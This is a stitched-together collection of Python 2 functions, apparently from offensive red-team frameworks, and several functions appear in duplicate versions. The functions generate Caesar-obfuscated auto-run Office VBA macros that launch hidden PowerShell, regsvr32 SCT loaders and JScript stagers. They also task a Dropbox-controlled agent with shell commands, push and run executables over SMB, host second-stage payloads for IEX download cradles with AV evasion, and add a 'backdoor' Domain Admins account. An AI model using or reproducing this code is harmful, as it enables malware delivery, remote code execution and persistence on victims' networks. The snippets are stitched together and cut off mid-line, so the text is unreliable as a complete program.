def macro2(cls, stagerParameters): """Creates an Office VBA macro that launches a powershell one liner command""" # Randomize VBA variable names varTmp = helpers.randomString(5) varEncodedCommand = helpers.randomString(5) varFinalCommand = helpers.randomString(5) varFlag = helpers.randomString(5) varExec = helpers.randomString(5) parameters = {'varTmp':varTmp,'varEncodedCommand':varEncodedCommand,'varFinalCommand':varFinalCommand,'varFlag':varFlag,\ 'varExec':varExec, 'serverName':stagerParameters['serverName']} macro = helpers.convertFromTemplate(parameters, 'templates/macro2.tpl') try: with open('stagers/macro2.vb', 'w+') as f: f.write(macro) f.close() print helpers.color( "[+] Macro stager saved in [stagers/macro2.vb]") print helpers.color( "[*] Hint: Use this VBA macro in Excel, sign it even with a self-signed certificate, and save it in format 'Excel 97-2003'" ) except IOError: print helpers.color( "[!] Could not write stager file [stagers/macro2.vb]")
def macro(cls, stagerParameters): """Creates an Office VBA macro that launches a powershell one liner command""" command = "powershell -NoP -sta -NonI -W Hidden -Enc " # Scramble the oneliner with a dumb caesar cipher :-) Simple obfuscation will do key = helpers.randomInt( 0, 94 ) # 94 is the range of printable ASCII chars (between 32 and 126) encryptedCommand = "" for char in command: num = ord( char ) - 32 # Translate the working space, 32 being the first printable ASCI char shifted = (num + key) % 94 + 32 if shifted == 34: encryptedCommand += "\"{}".format(chr( shifted)) # Handling the double quote print problem in VBA else: encryptedCommand += chr(shifted) # Randomize VBA variable names varTmp = helpers.randomString(5) varEncryptedCommand = helpers.randomString(5) varEncodedCommand = helpers.randomString(5) varFinalCommand = helpers.randomString(5) varFlag = helpers.randomString(5) varKey = helpers.randomString(5) varObjWMI = helpers.randomString(5) varObjStartup = helpers.randomString(5) varObjConfig = helpers.randomString(5) varObjProcess = helpers.randomString(5) parameters = {'varTmp':varTmp,'varEncryptedCommand':varEncryptedCommand,'encryptedCommand':encryptedCommand,\ 'varEncodedCommand':varEncodedCommand,'varFinalCommand':varFinalCommand,'varFlag':varFlag,\ 'varKey':varKey,'key':key,'varObjWMI':varObjWMI,'varObjStartup':varObjStartup,'varObjConfig':varObjConfig,\ 'varObjProcess':varObjProcess,'serverName':stagerParameters['serverName']} macro = helpers.convertFromTemplate(parameters, 'templates/macro.tpl') try: with open('stagers/macro.vb', 'w+') as f: f.write(macro) f.close() print helpers.color( "[+] Macro stager saved in [stagers/macro.vb]") print helpers.color( "[*] Hint: Use this VBA macro in Excel, sign it even with a self-signed certificate, and save it in format 'Excel 97-2003'" ) except IOError: print helpers.color( "[!] Could not write stager file [stagers/macro.vb]")
def taskAgentWithLaunchProcess(self, exePath, parameters): # Create a task task = self.statusHandler.createTask(self.agentID, "launchProcess", args=[exePath, parameters]) # Prepare the task format, then put the task into the command file data = "launchProcess\n{}\n{}\n{}\n{}".format(task['id'], exePath, parameters, helpers.randomString(16)) aes = AES.new(key, AES.MODE_CBC, iv) encoder = PKCS7Encoder() pad_text = encoder.encode(data) cipher = aes.encrypt(pad_text) decodedData = base64.b64encode(cipher) r = self.dropboxHandler.putFile( self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), decodedData) if r is not None: # Commit this task for the current agent self.statusHandler.commitTask(task) print helpers.color( "[+] Agent with ID [{}] has been tasked with task ID [{}]". format(self.agentID, task['id'])) else: print helpers.color("[!] Error tasking agent with ID [{}]".format( self.agentID))
def winexeExecuteResult(target, username, password, cmd, pause=1): """ Run a particular command with winexeCommand(), get the result with getFile() and delete the temporary output file. 'pause' is the number of seconds between execution of the command and the grabbing of the temporary file, defaults to 1 second Returns the result of the command on success, and "failure" on failure. """ # choose a random output file outputFile = helpers.randomString() + ".txt" # execute the wmisCommand and specify the output file to be our randomized name output = winexeCommand(target, username, password, cmd, outputFile=outputFile) # check if the command was successful if output == "success": # sleep for a bit of time before we grab the output file time.sleep(pause) # retrieve the output file and delete it return smb.getFile(target, username, password, "C:\\Windows\\Temp\\" + outputFile, delete=True) return output
def uploadTrigger(targets, username, password, exePath, triggerMethod="wmis", exeArgs=""): """ Take a particular exe at "exePath" path and uploads it to each target in targets, using the specified username and password. The specified triggerMethod (default wmis) is then used to trigger the uploaded executable. """ # if we get a single target, make it into a list if type(targets) is str: targets = [targets] # randomize the uploaded .exe file name uploadFileName = helpers.randomString() + ".exe" # copy the payload to the random hostedFileName in the temp directory os.system("cp "+exePath+" /"+settings.TEMP_DIR+"/"+uploadFileName) # command to trigger the uploaded executable cmd = "C:\\Windows\\Temp\\"+uploadFileName+" "+exeArgs for target in targets: # upload the binary to the host at C:\Windows\Temp\ smb.uploadFile(target, username, password, "C$", "\\Windows\\Temp\\", settings.TEMP_DIR+"/"+uploadFileName, 5) # execute the trigger command command_methods.executeCommand(target, username, password, cmd, triggerMethod) # return the randomized name in the calling method later wants # to clean the processes up return uploadFileName
def __init__(self, targets=None, creds=None, args=None): self.name = "Add Domain User" self.description = "Adds a domain user to the specified domain group on a host or host list." # internal list() that holds one or more targets self.targets = targets # internal list() that holds one or more cred tuples # [ (username, pw), (username2, pw2), ...] self.creds = creds # a state output file that will be written out by pillage.py # ex- if you're querying domain users self.output = "" # a cleanup file that will be written out by pillage.py # ex- if you're enabling the sticky-keys backdoor on systems self.cleanup = "" # options we require user interaction for- format is {Option : [Value, Description]]} self.required_options = {"trigger_method" : ["wmis", "[wmis], [winexe], or [smbexec] for triggering"], "user" : ["backdoor", "Username to add."], "group" : ["Domain Admins", "Domain group to add user to"], "pass" : [helpers.randomString(length=12), "Password for the new user." ]}
def winexeExecuteResult(target, username, password, cmd, pause=1): """ Run a particular command with winexeCommand(), get the result with getFile() and delete the temporary output file. 'pause' is the number of seconds between execution of the command and the grabbing of the temporary file, defaults to 1 second Returns the result of the command on success, and "failure" on failure. """ # choose a random output file outputFile = helpers.randomString() + ".txt" # execute the wmisCommand and specify the output file to be our randomized name output = winexeCommand(target, username, password, cmd, outputFile=outputFile) # check if the command was successful if output == "success": # sleep for a bit of time before we grab the output file time.sleep(pause) # retrieve the output file and delete it return smb.getFile(target, username, password, "C:\\Windows\\Temp\\"+outputFile, delete=True) return output
def taskAgentWithRunPSModule(self, moduleName, moduleArgs=None, interact=False): # Construct the powershell code from a template, substituting palceholders with proper parameters parameters = { 'moduleURL': self.statusHandler.publishedModuleList[moduleName], 'moduleName': moduleName } poshCmd = helpers.convertFromTemplate( parameters, cfg.defaultPath['runPSModuleTpl']) if poshCmd == None: return # Add module arguments if ever if moduleArgs: poshCmd += ";Write-Host \"-> Executing module arguments\";{}".format( moduleArgs) # If we want to interact with the PowerShell CLI once the module is loaded, switch to 'shell' mode if interact: self.taskAgentWithShell(poshCmd) else: task = self.statusHandler.createTask(self.agentID, "runPSModule", args=[moduleName, moduleArgs]) # Turn the powershell code into a suitable powershell base64 encoded one line command # base64Payload = helpers.powershellEncode(poshCmd) # Create the final command # cmd = "powershell.exe -NoP -sta -NonI -Enc {}".format(base64Payload) cmd = poshCmd # Prepare the task format, then put the task into the command file data = "runPS\n{}\n{}\n{}".format(task['id'], cmd, helpers.randomString(16)) aes = AES.new(key, AES.MODE_CBC, iv) encoder = PKCS7Encoder() pad_text = encoder.encode(data) cipher = aes.encrypt(pad_text) decodedData = base64.b64encode(cipher) r = self.dropboxHandler.putFile( self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), decodedData) if r is not None: # Commit this task for the current agent self.statusHandler.commitTask(task) print helpers.color( "[+] Agent with ID [{}] has been tasked with task ID [{}]". format(self.agentID, task['id'])) else: print helpers.color( "[!] Error tasking agent with ID [{}]".format( self.agentID))
def hostTrigger(targets, username, password, exePath, localHost, triggerMethod="wmis", exeArgs=""): """ Spins up an Impacket SMB server and hosts the binary specified by exePath. The specified triggerMethod (default wmis) is then used to invoke a command with the UNC path "\\localHost\\exe" which will invoke the specified executable purely in memory. Note: this evades several AV vendors, even with normally disk-detectable executables #avlol :) This takes 'targets' instead of a single 'target' since we don't want to set up and tear down the local SMB server every time. """ # if we get a single target, make it into a list if type(targets) is str: targets = [targets] # randomize the hosted .exe file name hostedFileName = helpers.randomString() + ".exe" # make the tmp hosting directory if it doesn't already exist if not os.path.exists(settings.TEMP_DIR + "shared/"): os.makedirs(settings.TEMP_DIR + "shared/") # copy the payload to the random hostedFileName in the temp directory os.system("cp "+exePath+" /"+settings.TEMP_DIR+"/shared/" + hostedFileName) # spin up the SMB server server = smb.ThreadedSMBServer() server.start() time.sleep(.5) # build the UNC path back to our host and executable and any specified arguments cmd = "\\\\" + localHost + "\\system\\" + hostedFileName+" "+exeArgs for target in targets: # execute the UNC command for each target command_methods.executeCommand(target, username, password, cmd, triggerMethod) print helpers.color("\n [*] Giving time for commands to trigger...") # sleep so the wmis/winexe commands can trigger and the target # can grab the .exe from the SMB server time.sleep(10) # shut the smb server down server.shutdown() # remove the temporarily hosted files os.system("rm -rf " + settings.TEMP_DIR+"/shared/") # not sure if need to do this to kill off the smb server... # os.kill(os.getpid(), signal.SIGINT) ? # return the randomized name in the calling method later wants # to clean the processes up return hostedFileName
def taskAgentWithRunPSModule(self, moduleName, moduleArgs=None, interact=False): # Construct the powershell code from a template, substituting palceholders with proper parameters xorKey = Crypto.convertKey(self.statusHandler.masterKey, outputFormat="sha256") parameters = { 'xorKey': xorKey, 'moduleURL': self.statusHandler.publishedModuleList[moduleName] } poshCmd = helpers.convertFromTemplate( parameters, cfg.defaultPath['runPSModuleTpl']) if poshCmd == None: return # Add module arguments if ever if moduleArgs: poshCmd += ";Write-Host \"-> Executing module arguments\";{}".format( moduleArgs) # If we want to interact with the PowerShell CLI once the module is loaded, switch to 'shell' mode if interact: self.taskAgentWithShell(poshCmd) else: task = self.statusHandler.createTask(self.agentID, "runPSModule", args=[moduleName, moduleArgs]) # Turn the powershell code into a suitable powershell base64 encoded one line command base64Payload = helpers.powershellEncode(poshCmd) # Create the final command cmd = "powershell.exe -NoP -sta -NonI -W Hidden -Enc {}".format( base64Payload) # Prepare the task format, then put the task into the command file data = "runCLI\n{}\n{}\n{}".format(task['id'], cmd, helpers.randomString(16)) r = self.dropboxHandler.putFile( self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey)) if r is not None: # Commit this task for the current agent self.statusHandler.commitTask(task) print helpers.color( "[+] Agent with ID [{}] has been tasked with task ID [{}]". format(self.agentID, task['id'])) else: print helpers.color( "[!] Error tasking agent with ID [{}]".format( self.agentID))
def taskAgentWithShell(self, cmd): # Prepare the task format, then put the task into the command file data = "shell\n{}\n{}\n{}".format("n/a", cmd, helpers.randomString(16)) r = self.dropboxHandler.putFile( self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey)) if r is not None: print helpers.color( "[+] Agent with ID [{}] has been tasked with shell command". format(self.agentID)) else: print helpers.color("[!] Error tasking agent with ID [{}]".format( self.agentID))
def taskAgentWithSendFile(self, localFile, destinationPath): # Creating the remote file path (used on the DropBox API server) fileName = os.path.basename(localFile) remoteFilePath = "/" + self.agentID + ".rsc" # First upload the localFile to DropBox try: with open(localFile) as fileHandle: print helpers.color("[*] Uploading file [{}] to [{}]".format( localFile, remoteFilePath)) r = self.dropboxHandler.putFile(remoteFilePath, fileHandle.read()) fileHandle.close() if r is None: return except IOError: print helpers.color( "[!] Could not open or read file [{}]".format(localFile)) return # Once the local file is properly uploaded, proceed with tasking the agent # Create a task task = self.statusHandler.createTask(self.agentID, "sendFile", args=[localFile, destinationPath]) # Prepare the task format, then put the task into the command file data = "downloadFile\n{}\n{}\n{}\n{}\n{}".format( task['id'], remoteFilePath, destinationPath, fileName, helpers.randomString(16)) aes = AES.new(key, AES.MODE_CBC, iv) encoder = PKCS7Encoder() pad_text = encoder.encode(data) cipher = aes.encrypt(pad_text) decodedData = base64.b64encode(cipher) r = self.dropboxHandler.putFile( self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), decodedData) if r is not None: # Commit this task for the current agent self.statusHandler.commitTask(task) print helpers.color( "[+] Agent with ID [{}] has been tasked with task ID [{}]". format(self.agentID, task['id'])) else: print helpers.color("[!] Error tasking agent with ID [{}]".format( self.agentID))
def checkAdminShare(smbConn): """ Check if the admin share for a host is writeable using the specified smb connection. smbConn = established SMB connection object Returns True if ADMIN$ is writable, False otherwise """ name = helpers.randomString() try: # create a random directory and then delete it immedately smbConn.createDirectory('ADMIN$', name) smbConn.deleteDirectory('ADMIN$', name) return True except: return False
def checkAdminShare(smbConn): """ Check if the admin share for a host is writeable using the specified smb connection. smbConn = established SMB connection object Returns True if ADMIN$ is writable, False otherwise """ name = helpers.randomString() try: # create a random directory and then delete it immedately smbConn.createDirectory('ADMIN$',name) smbConn.deleteDirectory('ADMIN$',name) return True except: return False
def jscript(cls, stagerParameters): """Creates an JScript script that launchs a serialized version of the agent, thx to DotNetToJscript method""" # Randomize JS variable names varTmp = helpers.randomString(5) varEncodedCommand = helpers.randomString(5) varFinalCommand = helpers.randomString(5) varFlag = helpers.randomString(5) varExec = helpers.randomString(5) caesarKey = helpers.randomInt(0, 94) varWebDavServer = helpers.randomString(4) webDavServer = cls.caesar('js', caesarKey, stagerParameters['serverName']) funcInvertCaesar = helpers.randomString(10) varEntryClass = helpers.randomString(4) entryClass = cls.caesar('js', caesarKey, "C2_Agent") memoryStream = cls.caesar('js', caesarKey, "System.IO.MemoryStream") binaryFormatter = cls.caesar( 'js', caesarKey, "System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") arrayList = cls.caesar('js', caesarKey, "System.Collections.ArrayList") parameters = { 'caesarKey' : caesarKey, 'varWebDavServer': varWebDavServer, 'webDavServer': webDavServer, \ 'funcInvertCaesar': funcInvertCaesar, 'varEntryClass': varEntryClass, 'entryClass': entryClass, \ 'memoryStream': memoryStream, 'binaryFormatter': binaryFormatter, 'arrayList': arrayList \ } macro = helpers.convertFromTemplate(parameters, 'templates/jscript.tpl') try: with open('stagers/agent.js', 'w+') as f: f.write(macro) f.close() print helpers.color( "[+] Macro stager saved in [stagers/agent.js]") except IOError: print helpers.color( "[!] Could not write stager file [stagers/agent.js]")
def taskAgentWithStop(self): # Create a task task = self.statusHandler.createTask(self.agentID, "stop") # Prepare the task format, then put the task into the command file data = "stop\n{}\n{}".format(task['id'], helpers.randomString(16)) r = self.dropboxHandler.putFile( self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey)) if r is not None: # Commit this task for the current agent self.statusHandler.commitTask(task) print helpers.color( "[+] Agent with ID [{}] has been tasked with task ID [{}]". format(self.agentID, task['id'])) else: print helpers.color("[!] Error tasking agent with ID [{}]".format( self.agentID))
def smbexecExecuteResult(target, username, password, cmd, pause=1): """ Calls a modified version of Impacket's smbexec.py example and returns the output of the command passed. code hosted in ./lib/smb.py Creates a service but doesn't drop any binary to disk. """ # choose a random output file outputFile = helpers.randomString() + ".txt" # run the command smbexecCommand(target, username, password, cmd, outputFile=outputFile) # sleep for a bit of time before we grab the output file time.sleep(pause) # return the output return smb.getFile(target, username, password, "C:\\Windows\\Temp\\"+outputFile, delete=True)
def uploadTrigger(targets, username, password, exePath, triggerMethod="wmis", exeArgs=""): """ Take a particular exe at "exePath" path and uploads it to each target in targets, using the specified username and password. The specified triggerMethod (default wmis) is then used to trigger the uploaded executable. """ # if we get a single target, make it into a list if type(targets) is str: targets = [targets] # randomize the uploaded .exe file name uploadFileName = helpers.randomString() + ".exe" # copy the payload to the random hostedFileName in the temp directory os.system("cp " + exePath + " /" + settings.TEMP_DIR + "/" + uploadFileName) # command to trigger the uploaded executable cmd = "C:\\Windows\\Temp\\" + uploadFileName + " " + exeArgs for target in targets: # upload the binary to the host at C:\Windows\Temp\ smb.uploadFile(target, username, password, "C$", "\\Windows\\Temp\\", settings.TEMP_DIR + "/" + uploadFileName, 5) # execute the trigger command command_methods.executeCommand(target, username, password, cmd, triggerMethod) # return the randomized name in the calling method later wants # to clean the processes up return uploadFileName
def taskAgentWithShell(self, cmd): global key global iv # Prepare the task format, then put the task into the command file data = "shell\n{}\n{}\n{}\n{}".format("n/a", cmd, helpers.randomString(16), "") aes = AES.new(key, AES.MODE_CBC, iv) encoder = PKCS7Encoder() pad_text = encoder.encode(data) cipher = aes.encrypt(pad_text) decodedData = base64.b64encode(cipher) r = self.dropboxHandler.putFile( self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), decodedData) if r is not None: print helpers.color( "[+] Agent with ID [{}] has been tasked with shell command". format(self.agentID)) else: print helpers.color("[!] Error tasking agent with ID [{}]".format( self.agentID))
def smbexecExecuteResult(target, username, password, cmd, pause=1): """ Calls a modified version of Impacket's smbexec.py example and returns the output of the command passed. code hosted in ./lib/smb.py Creates a service but doesn't drop any binary to disk. """ # choose a random output file outputFile = helpers.randomString() + ".txt" # run the command smbexecCommand(target, username, password, cmd, outputFile=outputFile) # sleep for a bit of time before we grab the output file time.sleep(pause) # return the output return smb.getFile(target, username, password, "C:\\Windows\\Temp\\" + outputFile, delete=True)
def powershellHostTrigger(targets, username, password, secondStage, lhost, scriptArguments="", triggerMethod="wmis", extraFiles=[], outFile=None, ssl=False, noArch=False): """ Hosts the 'secondaryStage' powershell script on a temporary web server, and triggers the "IEX (New-Object Net.WebClient).DownloadString(...)" cradle to download and invoke the secondStage. Inspiration from http://www.pentestgeek.com/2013/09/18/invoke-shellcode/ lhost - local host IP to trigger the secondary stage from secondStage - path to a secondary Powershell payload stage scriptArguments - additional powershell command to run right after the secondStage download i.e. for PowerSploit arguments extraFiles - additional files to host (i.e. an exe) outFile - if you want to retrieve the results of the final execution ssl - use https/ssl for the trigger noArch - don't do the arch-independent launcher Inspiration from http://www.pentestgeek.com/2013/09/18/invoke-shellcode/ """ # this surpasses the length-limit implicit to smbexec I'm afraid :( if triggerMethod.lower() == "smbexec": print helpers.color("\n\n [!] Error: smbexec will not work with powershell invocation",warning=True) raw_input(" [*] press any key to return: ") return "" # sanity check that the second powershell stage actually exists if not os.path.exists(secondStage): print helpers.color("\n\n [!] Error: second powershell stage '"+secondStage+"' doesn't exist!", warning=True) raw_input(" [*] press any key to return: ") return "" # translate string to boolean for ssl if ssl and isinstance(ssl, str): if ssl.lower()=="true": ssl = True else: ssl = False # get a randomized name for our second stage secondStageName = helpers.randomString() # if we're using ssl/https to host, throw in the self-signed cert # note: this also cleanr out the host directory, /tmp/pillage/ ! if ssl: certPath = settings.VEIL_PILLAGE_PATH + "/data/misc/key.pem" # create our Veil HTTPS server for serving /tmp/pillage/ server = http.VeilHTTPServer(port=443, cert=certPath) # append https to the local host url = "https://" + lhost + "/" + secondStageName else: # create our Veil HTTP server for serving /tmp/pillage/ server = http.VeilHTTPServer() url = "http://" + lhost + "/" + secondStageName # copy the second stage into the randomized name in /tmp/pillage/ os.system("cp " + secondStage + " /tmp/pillage/"+secondStageName) # start the http server up server.start() time.sleep(.5) # copy in any extra files to host (i.e. if we're doing remote reflective exe invocation or something) for f in extraFiles: if not os.path.exists(secondStage): print helpers.color(" [!] Error: addtional file '"+f+"' doesn't exist!", warning=True) else: os.system("cp " + f + " /tmp/pillage/") # call the general powershell trigger method with the appropriate url powershellTrigger(targets, username, password, url, scriptArguments, triggerMethod, outFile, noArch) # pause for a bit, and the shut the server down print helpers.color("\n [*] Giving time for commands to trigger...") time.sleep(10) server.shutdown()
def macro_sct(cls, sctUrl): """Creates an Office VBA macro that uses the regsvr32.exe JScript code execution trick from @subTee to load an SCT file stager""" # The shell command to be executed. It spawns a regsvr32.exe process to download the SCT stager from a URL and executed it shellCommand = "regsvr32.exe /s /n /u /i:" + sctUrl + " scrobj.dll" # Scramble the shell command with a dumb caesar cipher :-) Simple obfuscation will do key = helpers.randomInt( 0, 94 ) # 94 is the range of printable ASCII chars (between 32 and 126) scrambledShellCommand = "" for char in shellCommand: num = ord( char ) - 32 # Translate the working space, 32 being the first printable ASCI char shifted = (num + key) % 94 + 32 if shifted == 34: scrambledShellCommand += "\"{}".format(chr( shifted)) # Handling the double quote print problem in VBA else: scrambledShellCommand += chr(shifted) # Variable's names are randomized varStr = helpers.randomString(5) varKey = helpers.randomString(5) # Auto opening functions for both Word and Excel macro = "Sub Auto_Open()\n" macro += "\tComputeTable\n" macro += "End Sub\n\n" macro = "Sub AutoOpen()\n" macro += "\tComputeTable\n" macro += "End Sub\n\n" macro += "Sub Document_Open()\n" macro += "\tComputeTable\n" macro += "End Sub\n\n" macro += "Sub Workbook_Open()\n" macro += "\tComputeTable\n" macro += "End Sub\n\n" macro += "Public Function ComputeTable() As Variant\n" macro += "\tDim {} As String\n".format(varStr) macro += "\t{} = \"{}\"\n".format(varStr, scrambledShellCommand) macro += "\tDim {} As Integer\n".format(varKey) macro += "\t{} = {}\n".format(varKey, key) # scrambled shell Command decryption stub = inverse caesar macro += "\tDim i, n, s As Integer\n" macro += "\tFor i = 1 To Len({})\n".format(varStr) macro += "\t\tn = Asc(Mid({}, i, 1))\n".format(varStr) macro += "\t\ts = n - {}\n".format(varKey) macro += "\t\tIf s < 32 Then\n" macro += "\t\t\ts = s + 94\n" macro += "\t\tEnd If\n" macro += "\t\tMid({}, i, 1) = Chr(s)\n".format(varStr) macro += "\tNext\n" macro += "\tresult = Shell({}, 0)\n".format(varStr) macro += "End Function\n" try: with open(cfg.defaultPath['macroStager'], "w+") as f: f.write(macro) f.close() print helpers.color("[+] Macro stager saved in [{}]".format( cfg.defaultPath['macroStager'])) print helpers.color( "[*] Hint: Use this VBA macro in Excel, sign it even with a self-signed certificate, and save it in format 'Excel 97-2003'" ) except IOError: print helpers.color("[!] Could not write stager file [{}]".format( cfg.defaultPath['macroStager']))
def hostTrigger(targets, username, password, exePath, localHost, triggerMethod="wmis", exeArgs=""): """ Spins up an Impacket SMB server and hosts the binary specified by exePath. The specified triggerMethod (default wmis) is then used to invoke a command with the UNC path "\\localHost\\exe" which will invoke the specified executable purely in memory. Note: this evades several AV vendors, even with normally disk-detectable executables #avlol :) This takes 'targets' instead of a single 'target' since we don't want to set up and tear down the local SMB server every time. """ # if we get a single target, make it into a list if type(targets) is str: targets = [targets] # randomize the hosted .exe file name hostedFileName = helpers.randomString() + ".exe" # make the tmp hosting directory if it doesn't already exist if not os.path.exists(settings.TEMP_DIR + "shared/"): os.makedirs(settings.TEMP_DIR + "shared/") # copy the payload to the random hostedFileName in the temp directory os.system("cp " + exePath + " /" + settings.TEMP_DIR + "/shared/" + hostedFileName) # spin up the SMB server server = smb.ThreadedSMBServer() server.start() time.sleep(.5) # build the UNC path back to our host and executable and any specified arguments cmd = "\\\\" + localHost + "\\system\\" + hostedFileName + " " + exeArgs for target in targets: # execute the UNC command for each target command_methods.executeCommand(target, username, password, cmd, triggerMethod) print helpers.color("\n [*] Giving time for commands to trigger...") # sleep so the wmis/winexe commands can trigger and the target # can grab the .exe from the SMB server time.sleep(10) # shut the smb server down server.shutdown() # remove the temporarily hosted files os.system("rm -rf " + settings.TEMP_DIR + "/shared/") # not sure if need to do this to kill off the smb server... # os.kill(os.getpid(), signal.SIGINT) ? # return the randomized name in the calling method later wants # to clean the processes up return hostedFileName
def macro(cls, stagerParameters): """Creates an Office VBA macro that launches a powershell one liner command""" # First generate the powershell one liner oneLiner = cls.oneLiner(stagerParameters) # Scramble the oneliner with a dumb caesar cipher :-) Simple obfuscation will do key = helpers.randomInt( 0, 94 ) # 94 is the range of printable ASCII chars (between 32 and 126) scrambledOneliner = "" for char in oneLiner: num = ord( char ) - 32 # Translate the working space, 32 being the first printable ASCI char shifted = (num + key) % 94 + 32 if shifted == 34: scrambledOneliner += "\"{}".format(chr( shifted)) # Handling the double quote print problem in VBA else: scrambledOneliner += chr(shifted) # Split this scrambled oneliner is 50 chars long chunk of strings chunks = list(helpers.chunks(scrambledOneliner, 50)) # This is the actual VBA code to launch powershell using WMI services # Variable's names are randomized varKey = helpers.randomString(5) varStr = helpers.randomString(5) varObjWMI = helpers.randomString(5) varObjStartup = helpers.randomString(5) varObjConfig = helpers.randomString(5) varObjProcess = helpers.randomString(5) payload = "\tDim {} As String\n".format(varStr) payload += "\t{} = \"".format(varStr) + str(chunks[0]) + "\"\n" for chunk in chunks[1:]: payload += "\t{} = {} + \"".format(varStr, varStr) + str(chunk) + "\"\n" # Auto opening functions for both Word and Excel macro = "Sub Auto_Open()\n" macro += "\tComputeTable\n" macro += "End Sub\n\n" macro = "Sub AutoOpen()\n" macro += "\tComputeTable\n" macro += "End Sub\n\n" macro += "Sub Document_Open()\n" macro += "\tComputeTable\n" macro += "End Sub\n\n" macro += "Sub Workbook_Open()\n" macro += "\tComputeTable\n" macro += "End Sub\n\n" macro += "Public Function ComputeTable() As Variant\n" macro += "\tDim {} As Integer\n".format(varKey) macro += "\t{} = {}\n".format(varKey, key) macro += payload # Payload decryption stub = inverse caesar macro += "\tDim i, n, s As Integer\n" macro += "\tFor i = 1 To Len({})\n".format(varStr) macro += "\t\tn = Asc(Mid({}, i, 1))\n".format(varStr) macro += "\t\ts = n - {}\n".format(varKey) macro += "\t\tIf s < 32 Then\n" macro += "\t\t\ts = s + 94\n" macro += "\t\tEnd If\n" macro += "\t\tMid({}, i, 1) = Chr(s)\n".format(varStr) macro += "\tNext\n" # WMI Process instantiation stub #macro += "\tSet {} = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\")\n".format(varObjWMI) # Somehow hidden like this: macro += "\tSet {} = GetObject(ChrW(119) & ChrW(105) & ChrW(110) & ChrW(109) & ChrW(103) & ChrW(109) & ChrW(116) & ChrW(115) _\n".format( varObjWMI) macro += "\t\t& ChrW(58) & ChrW(92) & ChrW(92) & ChrW(46) & ChrW(92) & ChrW(114) & ChrW(111) & ChrW(111) & ChrW(116) & ChrW(92) _\n" macro += "\t\t& ChrW(99) & ChrW(105) & ChrW(109) & ChrW(118) & ChrW(50))\n" #macro += "\tSet {} = {}.Get(\"Win32_ProcessStartup\")\n".format(varObjStartup, varObjWMI) # Somehow hidden like this: macro += "\tSet {} = {}.Get(ChrW(87) & ChrW(105) & ChrW(110) & ChrW(51) & ChrW(50) & ChrW(95) & ChrW(80) & ChrW(114) & ChrW(111) _\n".format( varObjStartup, varObjWMI) macro += "\t\t& ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(83) & ChrW(116) & ChrW(97) & ChrW(114) & ChrW(116) _\n" macro += "\t\t& ChrW(117) & ChrW(112))\n" macro += "\tSet {} = {}.SpawnInstance_\n".format( varObjConfig, varObjStartup) macro += "\t{}.ShowWindow = 0\n".format(varObjConfig) #macro += "\tSet {} = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2:Win32_Process\")\n".format(varObjProcess) # Somehow hidden like this: macro += "\tSet {} = GetObject(ChrW(119) & ChrW(105) & ChrW(110) & ChrW(109) & ChrW(103) & ChrW(109) & ChrW(116) & ChrW(115) _\n".format( varObjProcess) macro += "\t\t& ChrW(58) & ChrW(92) & ChrW(92) & ChrW(46) & ChrW(92) & ChrW(114) & ChrW(111) & ChrW(111) & ChrW(116) & ChrW(92) _\n" macro += "\t\t& ChrW(99) & ChrW(105) & ChrW(109) & ChrW(118) & ChrW(50) & ChrW(58) & ChrW(87) & ChrW(105) & ChrW(110) & ChrW(51) _\n" macro += "\t\t& ChrW(50) & ChrW(95) & ChrW(80) & ChrW(114) & ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115))\n" macro += "\t{}.Create {}, Null, {}, intProcessID\n".format( varObjProcess, varStr, varObjConfig) macro += "End Function\n" try: with open(cfg.defaultPath['macroStager'], "w+") as f: f.write(macro) f.close() print helpers.color("[+] Macro stager saved in [{}]".format( cfg.defaultPath['macroStager'])) print helpers.color( "[*] Hint: Use this VBA macro in Excel, sign it even with a self-signed certificate, and save it in format 'Excel 97-2003'" ) except IOError: print helpers.color("[!] Could not write stager file [{}]".format( cfg.defaultPath['macroStager']))
def powershellHostTrigger(targets, username, password, secondStage, lhost, scriptArguments="", triggerMethod="wmis", extraFiles=[], outFile=None, ssl=False, noArch=False): """ Hosts the 'secondaryStage' powershell script on a temporary web server, and triggers the "IEX (New-Object Net.WebClient).DownloadString(...)" cradle to download and invoke the secondStage. Inspiration from http://www.pentestgeek.com/2013/09/18/invoke-shellcode/ lhost - local host IP to trigger the secondary stage from secondStage - path to a secondary Powershell payload stage scriptArguments - additional powershell command to run right after the secondStage download i.e. for PowerSploit arguments extraFiles - additional files to host (i.e. an exe) outFile - if you want to retrieve the results of the final execution ssl - use https/ssl for the trigger noArch - don't do the arch-independent launcher Inspiration from http://www.pentestgeek.com/2013/09/18/invoke-shellcode/ """ # this surpasses the length-limit implicit to smbexec I'm afraid :( if triggerMethod.lower() == "smbexec": print helpers.color( "\n\n [!] Error: smbexec will not work with powershell invocation", warning=True) raw_input(" [*] press any key to return: ") return "" # sanity check that the second powershell stage actually exists if not os.path.exists(secondStage): print helpers.color("\n\n [!] Error: second powershell stage '" + secondStage + "' doesn't exist!", warning=True) raw_input(" [*] press any key to return: ") return "" # translate string to boolean for ssl if ssl and isinstance(ssl, str): if ssl.lower() == "true": ssl = True else: ssl = False # get a randomized name for our second stage secondStageName = helpers.randomString() # if we're using ssl/https to host, throw in the self-signed cert # note: this also cleanr out the host directory, /tmp/pillage/ ! if ssl: certPath = settings.VEIL_PILLAGE_PATH + "/data/misc/key.pem" # create our Veil HTTPS server for serving /tmp/pillage/ server = http.VeilHTTPServer(port=443, cert=certPath) # append https to the local host url = "https://" + lhost + "/" + secondStageName else: # create our Veil HTTP server for serving /tmp/pillage/ server = http.VeilHTTPServer() url = "http://" + lhost + "/" + secondStageName # copy the second stage into the randomized name in /tmp/pillage/ os.system("cp " + secondStage + " /tmp/pillage/" + secondStageName) # start the http server up server.start() time.sleep(.5) # copy in any extra files to host (i.e. if we're doing remote reflective exe 